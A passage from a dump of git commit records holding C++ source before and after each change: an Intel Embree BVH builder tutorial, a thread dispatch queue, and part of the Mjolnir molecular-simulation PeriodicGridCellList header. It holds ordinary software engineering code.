node->bounds[i] = children[i].second;\n            bounds.extend(children[i].second);\n          }\n          return std::make_pair(ref,bounds);\n        },\n        \n        \/* lambda function that creates BVH leaves *\/\n        [&]( const range<unsigned>& current, FastAllocator::ThreadLocal* alloc) -> std::pair<Node*,BBox3fa>\n        {\n          assert(current.size() == 1);\n          const size_t id = morton_src[current.begin()].index;\n          const BBox3fa bounds = prims[id].bounds(); \n          Node* node = new (alloc->malloc(sizeof(LeafNode))) LeafNode(id,bounds);\n          return std::make_pair(node,bounds);\n        },\n        \n        \/* lambda that calculates the bounds for some primitive *\/\n        [&] (const isa::BVHBuilderMorton::BuildPrim& morton) -> BBox3fa {\n          return prims[morton.index].bounds();\n        },\n        \n        \/* progress monitor function *\/\n        [&] (size_t dn) { \n          \/\/ throw an exception here to cancel the build operation\n        },\n        \n        morton_src.data(),morton_tmp.data(),N,\n        isa::BVHBuilderMorton::Settings(2,1024,1,1,Builder::DEFAULT_SINGLE_THREAD_THRESHOLD));\n      \n      Node* root = node_bounds.first;\n      \n      double t1 = getSeconds();\n      \n      std::cout << 1000.0f*(t1-t0) << \"ms, \" << 1E-6*double(N)\/(t1-t0) << \" Mprims\/s, sah = \" << root->sah() << \" [DONE]\" << std::endl;\n    }\n  }\n#endif\n\n  void build_morton_api(RTCBuildPrimitive* prims, size_t N, char* cfg)\n  {\n    RTCDevice device = rtcNewDevice(cfg);\n    rtcDeviceSetMemoryMonitorFunction2(device,memoryMonitor,nullptr);\n\n    RTCBVH bvh = rtcNewBVH(device);\n\n    \/* settings for BVH build *\/\n    RTCBuildSettings settings;\n    settings.size = sizeof(settings);\n    settings.branchingFactor = 2;\n    settings.maxDepth = 1024;\n    settings.blockSize = 1;\n    settings.minLeafSize = 1;\n    settings.maxLeafSize = 1;\n    settings.travCost = 1.0f;\n    settings.intCost = 1.0f;\n    \n    for (size_t i=0; i<10; i++)\n    {\n      std::cout << \"iteration \" << i << \": building BVH over \" << N << \" primitives, \" << std::flush;\n      double t0 = getSeconds();\n      Node* root = (Node*) rtcBVHBuildMorton(bvh,settings,prims,N,nullptr,\n                                             InnerNode::create,InnerNode::setChild,InnerNode::setBounds,LeafNode::create,buildProgress);\n      double t1 = getSeconds();\n      \n      std::cout << 1000.0f*(t1-t0) << \"ms, \" << 1E-6*double(N)\/(t1-t0) << \" Mprims\/s, sah = \" << root->sah() << \" [DONE]\" << std::endl;\n    }\n    rtcMakeStaticBVH(bvh);\n    rtcDeleteBVH(bvh);\n  }\n  \n  \/* called by the C++ code for initialization *\/\n  extern \"C\" void device_init (char* cfg)\n  {\n    \/* create new Embree device *\/\n    g_device = rtcNewDevice(cfg);\n    error_handler(nullptr,rtcDeviceGetError(g_device));\n    \n    \/* set error handler *\/\n    rtcDeviceSetErrorFunction2(g_device,error_handler,nullptr);\n    \n    \/* set start render mode *\/\n    renderTile = renderTileStandard;\n    \n    \/* create random bounding boxes *\/\n    const size_t N = 2300000;\n    avector<RTCBuildPrimitive> prims; \n    for (size_t i=0; i<N; i++) \n    {\n      const float x = float(drand48());\n      const float y = float(drand48());\n      const float z = float(drand48());\n      const Vec3fa p = 1000.0f*Vec3fa(x,y,z);\n      const BBox3fa b = BBox3fa(p,p+Vec3fa(1.0f));\n\n      RTCBuildPrimitive prim;\n      prim.lower_x = b.lower.x;\n      prim.lower_y = b.lower.y;\n      prim.lower_z = b.lower.z;\n      prim.geomID = 0;\n      prim.upper_x = b.upper.x;\n      prim.upper_y = b.upper.y;\n      prim.upper_z = b.upper.z;\n      prim.primID = i;\n      prims.push_back(prim);\n    }\n\n    std::cout << \"SAH builder:\" << std::endl;\n    build_sah_api(prims.data(),prims.size(),cfg);\n\n#if INTERNAL_BVH_BUILD\n    std::cout << \"internal SAH builder:\" << std::endl;\n    build_sah((PrimRef*)prims.data(),prims.size());\n#endif\n\n    std::cout << \"Morton builder:\" << std::endl;\n    build_morton_api(prims.data(),prims.size(),cfg);\n\n#if INTERNAL_BVH_BUILD\n    std::cout << \"internal Morton builder:\" << std::endl;\n    build_morton((PrimRef*)prims.data(),prims.size());\n#endif\n  }\n  \n  \/* task that renders a single screen tile *\/\n  void renderTileStandard(int taskIndex, int* pixels,\n                          const unsigned int width,\n                          const unsigned int height, \n                          const float time,\n                          const ISPCCamera& camera,\n                          const int numTilesX, \n                          const int numTilesY)\n  {\n  }\n  \n  \/* task that renders a single screen tile *\/\n  void renderTileTask(int taskIndex, int* pixels,\n                      const unsigned int width,\n                      const unsigned int height, \n                      const float time,\n                      const ISPCCamera& camera,\n                      const int numTilesX, \n                      const int numTilesY)\n  {\n  }\n  \n  \/* called by the C++ code to render *\/\n  extern \"C\" void device_render (int* pixels,\n                                 const int width,\n                                 const int height,\n                                 const float time,\n                                 const ISPCCamera& camera)\n  {\n  }\n  \n  \/* called by the C++ code for cleanup *\/\n  extern \"C\" void device_cleanup () {\n    rtcDeleteDevice(g_device);\n  } \n}\n<commit_msg>removed old BVH builder interface from bvh_builder tutorial<commit_after>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2017 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n#include \"..\/common\/tutorial\/tutorial_device.h\"\n\nnamespace embree\n{\n  RTCDevice g_device = nullptr;\n  RTCScene g_scene  = nullptr;\n\n  \/* This function is called by the builder to signal progress and to\n   * report memory consumption. *\/\n  bool memoryMonitor(void* userPtr, ssize_t bytes, bool post) {\n    return true;\n  }\n  \n  struct Node\n  {\n    virtual float sah() = 0;\n  };\n  \n  struct InnerNode : public Node\n  {\n    BBox3fa bounds[2];\n    Node* children[2];\n    \n    InnerNode() {\n      bounds[0] = bounds[1] = empty;\n      children[0] = children[1] = nullptr;\n    }\n    \n    float sah() {\n      return 1.0f + (area(bounds[0])*children[0]->sah() + area(bounds[1])*children[1]->sah())\/area(merge(bounds[0],bounds[1]));\n    }\n\n    static void* create (RTCThreadLocalAllocator alloc, size_t numChildren, void* userPtr) \n    {\n      assert(numChildren == 2);\n      void* ptr = rtcThreadLocalAlloc(alloc,sizeof(InnerNode),16);\n      return (void*) new (ptr) InnerNode;\n    }\n    \n    static void  setChild (void* nodePtr, size_t i, void* childPtr, void* userPtr)\n    {\n      assert(i<2);\n      ((InnerNode*)nodePtr)->children[i] = (Node*) childPtr;\n    }\n    \n    static void  setBounds (void* nodePtr, size_t i, RTCBounds& bounds, void* userPtr)\n    {\n      ((InnerNode*)nodePtr)->bounds[i] = (BBox3fa&) bounds;\n    }\n  };\n  \n  struct LeafNode : public Node\n  {\n    unsigned id;\n    BBox3fa bounds;\n    \n    LeafNode (unsigned id, const BBox3fa& bounds)\n      : id(id), bounds(bounds) {}\n    \n    float sah() {\n      return 1.0f;\n    }\n    \n    static void* create (RTCThreadLocalAllocator alloc, const RTCBuildPrimitive* prims, size_t numPrims, void* userPtr)\n    {\n      assert(numPrims == 1);\n      void* ptr = rtcThreadLocalAlloc(alloc,sizeof(LeafNode),16);\n      return (void*) new (ptr) LeafNode(prims->primID,*(BBox3fa*)prims);\n    }\n  };\n\n  void buildProgress (size_t dn, void* userPtr) {\n  }\n\n  void build_sah(RTCBuildPrimitive* prims, size_t N, char* cfg)\n  {\n    RTCDevice device = rtcNewDevice(cfg);\n    rtcDeviceSetMemoryMonitorFunction2(device,memoryMonitor,nullptr);\n\n    RTCBVH bvh = rtcNewBVH(device);\n\n    \/* settings for BVH build *\/\n    RTCBuildSettings settings;\n    settings.size = sizeof(settings);\n    settings.branchingFactor = 2;\n    settings.maxDepth = 1024;\n    settings.blockSize = 1;\n    settings.minLeafSize = 1;\n    settings.maxLeafSize = 1;\n    settings.travCost = 1.0f;\n    settings.intCost = 1.0f;\n    \n    for (size_t i=0; i<10; i++)\n    {\n      std::cout << \"iteration \" << i << \": building BVH over \" << N << \" primitives, \" << std::flush;\n      double t0 = getSeconds();\n      Node* root = (Node*) rtcBVHBuildSAH(bvh,settings,prims,N,nullptr,\n                                          InnerNode::create,InnerNode::setChild,InnerNode::setBounds,LeafNode::create,buildProgress);\n      double t1 = getSeconds();\n      \n      std::cout << 1000.0f*(t1-t0) << \"ms, \" << 1E-6*double(N)\/(t1-t0) << \" Mprims\/s, sah = \" << root->sah() << \" [DONE]\" << std::endl;\n    }\n    rtcMakeStaticBVH(bvh);\n    rtcDeleteBVH(bvh);\n  }\n\n  void build_morton(RTCBuildPrimitive* prims, size_t N, char* cfg)\n  {\n    RTCDevice device = rtcNewDevice(cfg);\n    rtcDeviceSetMemoryMonitorFunction2(device,memoryMonitor,nullptr);\n\n    RTCBVH bvh = rtcNewBVH(device);\n\n    \/* settings for BVH build *\/\n    RTCBuildSettings settings;\n    settings.size = sizeof(settings);\n    settings.branchingFactor = 2;\n    settings.maxDepth = 1024;\n    settings.blockSize = 1;\n    settings.minLeafSize = 1;\n    settings.maxLeafSize = 1;\n    settings.travCost = 1.0f;\n    settings.intCost = 1.0f;\n    \n    for (size_t i=0; i<10; i++)\n    {\n      std::cout << \"iteration \" << i << \": building BVH over \" << N << \" primitives, \" << std::flush;\n      double t0 = getSeconds();\n      Node* root = (Node*) rtcBVHBuildMorton(bvh,settings,prims,N,nullptr,\n                                             InnerNode::create,InnerNode::setChild,InnerNode::setBounds,LeafNode::create,buildProgress);\n      double t1 = getSeconds();\n      \n      std::cout << 1000.0f*(t1-t0) << \"ms, \" << 1E-6*double(N)\/(t1-t0) << \" Mprims\/s, sah = \" << root->sah() << \" [DONE]\" << std::endl;\n    }\n    rtcMakeStaticBVH(bvh);\n    rtcDeleteBVH(bvh);\n  }\n  \n  \/* called by the C++ code for initialization *\/\n  extern \"C\" void device_init (char* cfg)\n  {\n    \/* create new Embree device *\/\n    g_device = rtcNewDevice(cfg);\n    error_handler(nullptr,rtcDeviceGetError(g_device));\n    \n    \/* set error handler *\/\n    rtcDeviceSetErrorFunction2(g_device,error_handler,nullptr);\n    \n    \/* set start render mode *\/\n    renderTile = renderTileStandard;\n    \n    \/* create random bounding boxes *\/\n    const size_t N = 2300000;\n    avector<RTCBuildPrimitive> prims; \n    for (size_t i=0; i<N; i++) \n    {\n      const float x = float(drand48());\n      const float y = float(drand48());\n      const float z = float(drand48());\n      const Vec3fa p = 1000.0f*Vec3fa(x,y,z);\n      const BBox3fa b = BBox3fa(p,p+Vec3fa(1.0f));\n\n      RTCBuildPrimitive prim;\n      prim.lower_x = b.lower.x;\n      prim.lower_y = b.lower.y;\n      prim.lower_z = b.lower.z;\n      prim.geomID = 0;\n      prim.upper_x = b.upper.x;\n      prim.upper_y = b.upper.y;\n      prim.upper_z = b.upper.z;\n      prim.primID = i;\n      prims.push_back(prim);\n    }\n\n    std::cout << \"SAH builder:\" << std::endl;\n    build_sah(prims.data(),prims.size(),cfg);\n\n    std::cout << \"Morton builder:\" << std::endl;\n    build_morton(prims.data(),prims.size(),cfg);\n  }\n  \n  \/* task that renders a single screen tile *\/\n  void renderTileStandard(int taskIndex, int* pixels,\n                          const unsigned int width,\n                          const unsigned int height, \n                          const float time,\n                          const ISPCCamera& camera,\n                          const int numTilesX, \n                          const int numTilesY)\n  {\n  }\n  \n  \/* task that renders a single screen tile *\/\n  void renderTileTask(int taskIndex, int* pixels,\n                      const unsigned int width,\n                      const unsigned int height, \n                      const float time,\n                      const ISPCCamera& camera,\n                      const int numTilesX, \n                      const int numTilesY)\n  {\n  }\n  \n  \/* called by the C++ code to render *\/\n  extern \"C\" void device_render (int* pixels,\n                                 const int width,\n                                 const int height,\n                                 const float time,\n                                 const ISPCCamera& camera)\n  {\n  }\n  \n  \/* called by the C++ code for cleanup *\/\n  extern \"C\" void device_cleanup () {\n    rtcDeleteDevice(g_device);\n  } \n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>added timing to deqn<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"dispatch_queue.h\"\n\n#include <thread>\n#include <queue>\n\nstruct dispatch_queue_t::impl\n{\n    impl();\n    static void dispatch_thread_proc(impl *self);\n\n    std::queue< std::function< void() > > queue;\n    std::mutex queue_mtx;\n    std::condition_variable queue_cond;\n    std::atomic< bool > quit;\n    std::thread queue_thread;\n\n    using queue_lock_t = std::unique_lock< decltype(queue_mtx) >;\n};\n\nvoid dispatch_queue_t::impl::dispatch_thread_proc(dispatch_queue_t::impl *self)\n{\n    using queue_size_t = decltype(self->queue)::size_type;\n\n    while (self->quit == false)\n    {\n        queue_lock_t queue_lock(self->queue_mtx);\n        self->queue_cond.wait(queue_lock, [&] { return self->queue.size() > 0; });\n\n        for (queue_size_t i = 0, n = self->queue.size(); i < n; ++i) {\n            auto dispatch_func = self->queue.front();\n            self->queue.pop();\n\n            queue_lock.unlock();\n            dispatch_func();\n            queue_lock.lock();\n        }\n    }\n}\n\ndispatch_queue_t::impl::impl()\n    : quit(false)\n    , queue_thread(&dispatch_thread_proc, this)\n{\n}\n\ndispatch_queue_t::dispatch_queue_t()\n    : m(new impl)\n{\n}\n\ndispatch_queue_t::~dispatch_queue_t()\n{\n    dispatch_async([this] { m->quit = true; });\n    m->queue_thread.join();\n}\n\nvoid dispatch_queue_t::dispatch_async(std::function< void() > func)\n{\n    impl::queue_lock_t queue_lock(m->queue_mtx);\n    m->queue.push(func);\n    m->queue_cond.notify_one();\n}\n\nvoid dispatch_queue_t::dispatch_sync(std::function< void() > func)\n{\n    std::mutex sync_mtx;\n    impl::queue_lock_t sync_lock(sync_mtx);\n    std::condition_variable sync_cond;\n    std::atomic< bool > completed(false);\n\n    {\n        impl::queue_lock_t queue_lock(m->queue_mtx);\n        m->queue.push(func);\n        m->queue.push([&] {\n            std::unique_lock< decltype(sync_mtx) > sync_cb_lock(sync_mtx);\n            completed = true;\n            sync_cond.notify_one();\n        });\n\n        m->queue_cond.notify_one();\n    }\n\n    sync_cond.wait(sync_lock, [&] { return completed.load(); });\n}\n\nvoid dispatch_queue_t::dispatch_flush()\n{\n    dispatch_sync([]{});\n}\n\n<commit_msg>enqueued tasks can enqueue tasks<commit_after>#include \"dispatch_queue.h\"\n\n#include <thread>\n#include <queue>\n\nstruct dispatch_queue_t::impl\n{\n    impl();\n    static void dispatch_thread_proc(impl *self);\n\n    std::queue< std::function< void() > > queue;\n    std::mutex queue_mtx;\n    std::condition_variable queue_cond;\n    std::atomic< bool > quit;\n    std::thread queue_thread;\n\n    using queue_lock_t = std::unique_lock< decltype(queue_mtx) >;\n};\n\nvoid dispatch_queue_t::impl::dispatch_thread_proc(dispatch_queue_t::impl *self)\n{\n    using queue_size_t = decltype(self->queue)::size_type;\n\n    while (self->quit == false)\n    {\n        queue_lock_t queue_lock(self->queue_mtx);\n        self->queue_cond.wait(queue_lock, [&] { return self->queue.size() > 0; });\n\n        while (self->queue.size()) {\n            auto dispatch_func = self->queue.front();\n            self->queue.pop();\n\n            queue_lock.unlock();\n            dispatch_func();\n            queue_lock.lock();\n        }\n    }\n}\n\ndispatch_queue_t::impl::impl()\n    : quit(false)\n    , queue_thread(&dispatch_thread_proc, this)\n{\n}\n\ndispatch_queue_t::dispatch_queue_t()\n    : m(new impl)\n{\n}\n\ndispatch_queue_t::~dispatch_queue_t()\n{\n    dispatch_async([this] { m->quit = true; });\n    m->queue_thread.join();\n}\n\nvoid dispatch_queue_t::dispatch_async(std::function< void() > func)\n{\n    impl::queue_lock_t queue_lock(m->queue_mtx);\n    m->queue.push(func);\n    m->queue_cond.notify_one();\n}\n\nvoid dispatch_queue_t::dispatch_sync(std::function< void() > func)\n{\n    std::mutex sync_mtx;\n    impl::queue_lock_t sync_lock(sync_mtx);\n    std::condition_variable sync_cond;\n    std::atomic< bool > completed(false);\n\n    {\n        impl::queue_lock_t queue_lock(m->queue_mtx);\n        m->queue.push(func);\n        m->queue.push([&] {\n            std::unique_lock< decltype(sync_mtx) > sync_cb_lock(sync_mtx);\n            completed = true;\n            sync_cond.notify_one();\n        });\n\n        m->queue_cond.notify_one();\n    }\n\n    sync_cond.wait(sync_lock, [&] { return completed.load(); });\n}\n\nvoid dispatch_queue_t::dispatch_flush()\n{\n    dispatch_sync([]{});\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef MJOLNIR_PERIODIC_GRID_CELL_LIST\n#define MJOLNIR_PERIODIC_GRID_CELL_LIST\n#include <mjolnir\/core\/System.hpp>\n#include <mjolnir\/core\/NeighborList.hpp>\n#include <mjolnir\/core\/ExclusionList.hpp>\n#include <mjolnir\/util\/range.hpp>\n#include <mjolnir\/util\/logger.hpp>\n#include <iostream>\n#include <vector>\n#include <cmath>\n#include <cassert>\n\nnamespace mjolnir\n{\n\n\/\/ XXX: almost same as UnlimitedGridCellList.\n\/\/ the difference between UnlimitedGridCellList is only the number of cells.\n\/\/ PeriodicGridCellList can optimize the number of cells using boundary size.\ntemplate<typename traitsT, typename parameterT>\nclass PeriodicGridCellList\n{\n  public:\n    using traits_type         = traitsT;\n    using system_type         = System<traits_type>;\n    using real_type           = typename traits_type::real_type;\n    using coordinate_type     = typename traits_type::coordinate_type;\n    using exclusion_list_type = ExclusionList;\n    using parameter_type      = parameterT;\n    using neighbor_list_type  = NeighborList<parameter_type>;\n    using neighbor_type       = typename neighbor_list_type::neighbor_type;\n    using range_type          = typename neighbor_list_type::range_type;\n\n    constexpr static real_type mesh_epsilon = 1e-6;\n\n    using particle_cell_idx_pair    = std::pair<std::size_t, std::size_t>;\n    using cell_index_container_type = std::vector<particle_cell_idx_pair>;\n    using cell_index_const_iterator = typename cell_index_container_type::const_iterator;\n    using adjacent_cell_idx         = std::array<std::size_t, 27>;\n    using cell_type                 = std::pair<range<cell_index_const_iterator>, adjacent_cell_idx>;\n    using cell_list_type            = std::vector<cell_type>;\n\n  public:\n\n    PeriodicGridCellList()\n        : cutoff_(0), margin_(1), current_margin_(-1),\n          r_x_(-1), r_y_(-1), r_z_(-1), dim_x_(0), dim_y_(0), dim_z_(0)\n    {}\n    ~PeriodicGridCellList() = default;\n    PeriodicGridCellList(PeriodicGridCellList const&) = default;\n    PeriodicGridCellList(PeriodicGridCellList &&)     = default;\n    PeriodicGridCellList& operator=(PeriodicGridCellList const&) = default;\n    PeriodicGridCellList& operator=(PeriodicGridCellList &&)     = default;\n\n    explicit PeriodicGridCellList(const real_type margin)\n        : cutoff_(0), margin_(margin), current_margin_(-1),\n          r_x_(-1), r_y_(-1), r_z_(-1), dim_x_(0), dim_y_(0), dim_z_(0)\n    {}\n\n    bool valid() const noexcept\n    {\n        return current_margin_ >= 0.0;\n    }\n\n    template<typename PotentialT>\n    void initialize(const system_type& sys, const PotentialT& pot);\n\n    template<typename PotentialT>\n    void reconstruct(const system_type& sys, const PotentialT& pot)\n    {\n        this->initialize(sys, pot); \/\/ do the same thing as `initialize`\n        return;\n    }\n\n    template<typename PotentialT>\n    void make  (const system_type& sys, const PotentialT& pot);\n\n    template<typename PotentialT>\n    void update(const real_type, const system_type&, const PotentialT&);\n\n    real_type cutoff() const {return this->cutoff_;}\n    real_type margin() const {return this->margin_;}\n\n    range_type partners(std::size_t i) const noexcept {return neighbors_[i];}\n\n  private:\n\n    std::size_t calc_index(const coordinate_type& pos) const noexcept\n    {\n        const auto ofs = pos - this->lower_bound_;\n        return this->calc_index(std::floor(math::X(ofs) * this->r_x_),\n                                std::floor(math::Y(ofs) * this->r_y_),\n                                std::floor(math::Z(ofs) * this->r_z_));\n    }\n\n    std::size_t calc_index(const std::size_t i, const std::size_t j,\n                           const std::size_t k) const noexcept\n    {\n        return i + this->dim_x_ * j + this->dim_x_ * this->dim_y_ * k;\n    }\n\n    void set_cutoff(const real_type c) noexcept\n    {\n        this->cutoff_ = c;\n        this->r_x_ = 1 \/ (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);\n        this->r_y_ = 1 \/ (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);\n        this->r_z_ = 1 \/ (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);\n        return;\n    }\n    void set_margin(const real_type m) noexcept\n    {\n        this->margin_ = m;\n        this->r_x_ = 1.0 \/ (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);\n        this->r_y_ = 1.0 \/ (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);\n        this->r_z_ = 1.0 \/ (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);\n        return;\n    }\n\n  private:\n\n    real_type   cutoff_;\n    real_type   margin_;\n    real_type   current_margin_;\n    real_type   r_x_;\n    real_type   r_y_;\n    real_type   r_z_;\n    std::size_t dim_x_;\n    std::size_t dim_y_;\n    std::size_t dim_z_;\n\n    coordinate_type     lower_bound_;\n    neighbor_list_type  neighbors_;\n    exclusion_list_type exclusion_;\n    cell_list_type      cell_list_;\n    cell_index_container_type index_by_cell_;\n    \/\/ index_by_cell_ has {particle idx, cell idx} and sorted by cell idx\n    \/\/ first term of cell list contains first and last idx of index_by_cell\n};\n\ntemplate<typename traitsT, typename parameterT>\ntemplate<typename PotentialT>\nvoid PeriodicGridCellList<traitsT, parameterT>::update(\n        const real_type dmargin, const system_type& sys, const PotentialT& pot)\n{\n    this->current_margin_ -= dmargin;\n    if(this->current_margin_ < 0.)\n    {\n        this->make(sys, pot);\n    }\n    return ;\n}\n\ntemplate<typename traitsT, typename parameterT>\ntemplate<typename PotentialT>\nvoid PeriodicGridCellList<traitsT, parameterT>::make(\n        const system_type& sys, const PotentialT& pot)\n{\n    MJOLNIR_GET_DEFAULT_LOGGER_DEBUG();\n    MJOLNIR_LOG_FUNCTION_DEBUG();\n\n    neighbors_.clear();\n    index_by_cell_.resize(sys.size());\n\n    for(std::size_t i=0; i<sys.size(); ++i)\n    {\n        index_by_cell_[i] = std::make_pair(i, calc_index(sys[i].position));\n    }\n\n    std::sort(this->index_by_cell_.begin(), this->index_by_cell_.end(),\n        [](const std::pair<std::size_t, std::size_t>& lhs,\n           const std::pair<std::size_t, std::size_t>& rhs) noexcept -> bool\n        {\n            return lhs.second < rhs.second;\n        });\n\n    { \/\/ assign first and last iterator for each cells\n        auto iter = index_by_cell_.cbegin();\n        for(std::size_t i=0; i<cell_list_.size(); ++i)\n        {\n            if(iter == index_by_cell_.cend() || i != iter->second)\n            {\n                cell_list_[i].first = make_range(iter, iter);\n                continue;\n            }\n            const auto first = iter;\n            while(iter != index_by_cell_.cend() && i == iter->second)\n            {\n                ++iter;\n            }\n            cell_list_[i].first = make_range(first, iter);\n        }\n    }\n\n    MJOLNIR_LOG_DEBUG(\"cell list is updated\");\n\n    const real_type r_c  = cutoff_ * (1. + margin_);\n    const real_type r_c2 = r_c * r_c;\n    for(std::size_t i=0; i<sys.size(); ++i)\n    {\n        const auto& ri = sys[i].position;\n        const auto& cell = cell_list_[calc_index(ri)];\n\n        MJOLNIR_LOG_DEBUG(\"particle position\", sys[i].position);\n        MJOLNIR_LOG_DEBUG(\"making verlet list for index\", i);\n        MJOLNIR_LOG_DEBUG(\"except list for \", i, \"-th value\");\n\n        std::vector<neighbor_type> partner;\n        for(std::size_t cidx : cell.second) \/\/ for all adjacent cells...\n        {\n            for(auto pici : cell_list_[cidx].first)\n            {\n                const auto j = pici.first;\n                MJOLNIR_LOG_DEBUG(\"looking particle\", j);\n                if(j <= i || this->exclusion_.is_excluded(i, j))\n                {\n                    continue;\n                }\n\n                if(math::length_sq(sys.adjust_direction(sys[j].position - ri)) < r_c2)\n                {\n                    MJOLNIR_LOG_DEBUG(\"add index\", j, \"to verlet list\", i);\n                    partner.emplace_back(j, pot.prepair_params(i, j));\n                }\n            }\n        }\n        \/\/ make the result consistent with NaivePairCalculation...\n        std::sort(partner.begin(), partner.end());\n        this->neighbors_.add_list_for(i, partner.begin(), partner.end());\n    }\n\n    this->current_margin_ = cutoff_ * margin_;\n    return ;\n}\n\ntemplate<typename traitsT, typename parameterT>\ntemplate<typename PotentialT>\nvoid PeriodicGridCellList<traitsT, parameterT>::initialize(\n        const system_type& sys, const PotentialT& pot)\n{\n    MJOLNIR_GET_DEFAULT_LOGGER();\n    MJOLNIR_LOG_FUNCTION();\n\n    const real_type max_cutoff = pot.max_cutoff_length();\n    this->set_cutoff(max_cutoff);\n    this->exclusion_.make(sys, pot);\n\n    MJOLNIR_LOG_INFO(pot.name(), \" cutoff = \", max_cutoff);\n\n    this->lower_bound_ = sys.boundary().lower_bound();\n    const auto system_size = sys.boundary().width();\n\n    this->dim_x_ = std::max<std::size_t>(3, std::floor(math::X(system_size) * r_x_));\n    this->dim_y_ = std::max<std::size_t>(3, std::floor(math::Y(system_size) * r_y_));\n    this->dim_z_ = std::max<std::size_t>(3, std::floor(math::Z(system_size) * r_z_));\n\n    MJOLNIR_LOG_INFO(\"dimension = \", dim_x_, 'x', dim_y_, 'x', dim_z_);\n\n    if(dim_x_ == 3 || dim_y_ == 3 || dim_z_ == 3)\n    {\n        MJOLNIR_LOG_WARN(\"system size is too small (\",\n                dim_x_, 'x', dim_y_, 'x', dim_z_,\n                \"). This might cause a problem. Please check the cutoff ratio\"\n                \" and the box size!\");\n    }\n\n    \/\/ it may expand cell a bit (to fit system range)\n    this->r_x_ = 1.0 \/ (math::X(system_size) \/ this->dim_x_);\n    this->r_y_ = 1.0 \/ (math::Y(system_size) \/ this->dim_y_);\n    this->r_z_ = 1.0 \/ (math::Z(system_size) \/ this->dim_z_);\n\n    MJOLNIR_LOG_DEBUG(\"reciplocal width of cells in x coordinate = \", r_x_);\n    MJOLNIR_LOG_DEBUG(\"reciplocal width of cells in y coordinate = \", r_y_);\n    MJOLNIR_LOG_DEBUG(\"reciplocal width of cells in z coordinate = \", r_z_);\n\n    this->cell_list_.resize(dim_x_ * dim_y_ * dim_z_);\n\n    for(int x = 0; x < dim_x_; ++x)\n    {\n    for(int y = 0; y < dim_y_; ++y)\n    {\n    for(int z = 0; z < dim_z_; ++z)\n    {\n        auto& cell = this->cell_list_[calc_index(x, y, z)];\n\n        const std::size_t x_prev = (x ==        0) ? dim_x_-1 : x-1;\n        const std::size_t x_next = (x == dim_x_-1) ?        0 : x+1;\n        const std::size_t y_prev = (y ==        0) ? dim_y_-1 : y-1;\n        const std::size_t y_next = (y == dim_y_-1) ?        0 : y+1;\n        const std::size_t z_prev = (z ==        0) ? dim_z_-1 : z-1;\n        const std::size_t z_next = (z == dim_z_-1) ?        0 : z+1;\n\n        cell.second[ 0] = calc_index(x_prev, y_prev, z_prev);\n        cell.second[ 1] = calc_index(x,      y_prev, z_prev);\n        cell.second[ 2] = calc_index(x_next, y_prev, z_prev);\n        cell.second[ 3] = calc_index(x_prev, y,      z_prev);\n        cell.second[ 4] = calc_index(x,      y,      z_prev);\n        cell.second[ 5] = calc_index(x_next, y,      z_prev);\n        cell.second[ 6] = calc_index(x_prev, y_next, z_prev);\n        cell.second[ 7] = calc_index(x,      y_next, z_prev);\n        cell.second[ 8] = calc_index(x_next, y_next, z_prev);\n\n        cell.second[ 9] = calc_index(x_prev, y_prev, z);\n        cell.second[10] = calc_index(x,      y_prev, z);\n        cell.second[11] = calc_index(x_next, y_prev, z);\n        cell.second[12] = calc_index(x_prev, y,      z);\n        cell.second[13] = calc_index(x,      y,      z);\n        cell.second[14] = calc_index(x_next, y,      z);\n        cell.second[15] = calc_index(x_prev, y_next, z);\n        cell.second[16] = calc_index(x,      y_next, z);\n        cell.second[17] = calc_index(x_next, y_next, z);\n\n        cell.second[18] = calc_index(x_prev, y_prev, z_next);\n        cell.second[19] = calc_index(x,      y_prev, z_next);\n        cell.second[20] = calc_index(x_next, y_prev, z_next);\n        cell.second[21] = calc_index(x_prev, y,      z_next);\n        cell.second[22] = calc_index(x,      y,      z_next);\n        cell.second[23] = calc_index(x_next, y,      z_next);\n        cell.second[24] = calc_index(x_prev, y_next, z_next);\n        cell.second[25] = calc_index(x,      y_next, z_next);\n        cell.second[26] = calc_index(x_next, y_next, z_next);\n\n        auto uniq = std::unique(cell.second.begin(), cell.second.end());\n        assert(uniq == cell.second.end());\n        for(auto i : cell.second)\n        {\n            assert(0 <= i && i <= cell_list_.size());\n        }\n    }\n    }\n    }\n    this->make(sys, pot);\n    return;\n}\n\n\n} \/\/ mjolnir\n#endif \/* MJOLNIR_PERIODIC_GRID_CELL_LIST *\/\n<commit_msg>refactor: remove cmp between int and uint<commit_after>#ifndef MJOLNIR_PERIODIC_GRID_CELL_LIST\n#define MJOLNIR_PERIODIC_GRID_CELL_LIST\n#include <mjolnir\/core\/System.hpp>\n#include <mjolnir\/core\/NeighborList.hpp>\n#include <mjolnir\/core\/ExclusionList.hpp>\n#include <mjolnir\/util\/range.hpp>\n#include <mjolnir\/util\/logger.hpp>\n#include <iostream>\n#include <vector>\n#include <cmath>\n#include <cassert>\n\nnamespace mjolnir\n{\n\n\/\/ XXX: almost same as UnlimitedGridCellList.\n\/\/ the difference between UnlimitedGridCellList is only the number of cells.\n\/\/ PeriodicGridCellList can optimize the number of cells using boundary size.\ntemplate<typename traitsT, typename parameterT>\nclass PeriodicGridCellList\n{\n  public:\n    using traits_type         = traitsT;\n    using system_type         = System<traits_type>;\n    using real_type           = typename traits_type::real_type;\n    using coordinate_type     = typename traits_type::coordinate_type;\n    using exclusion_list_type = ExclusionList;\n    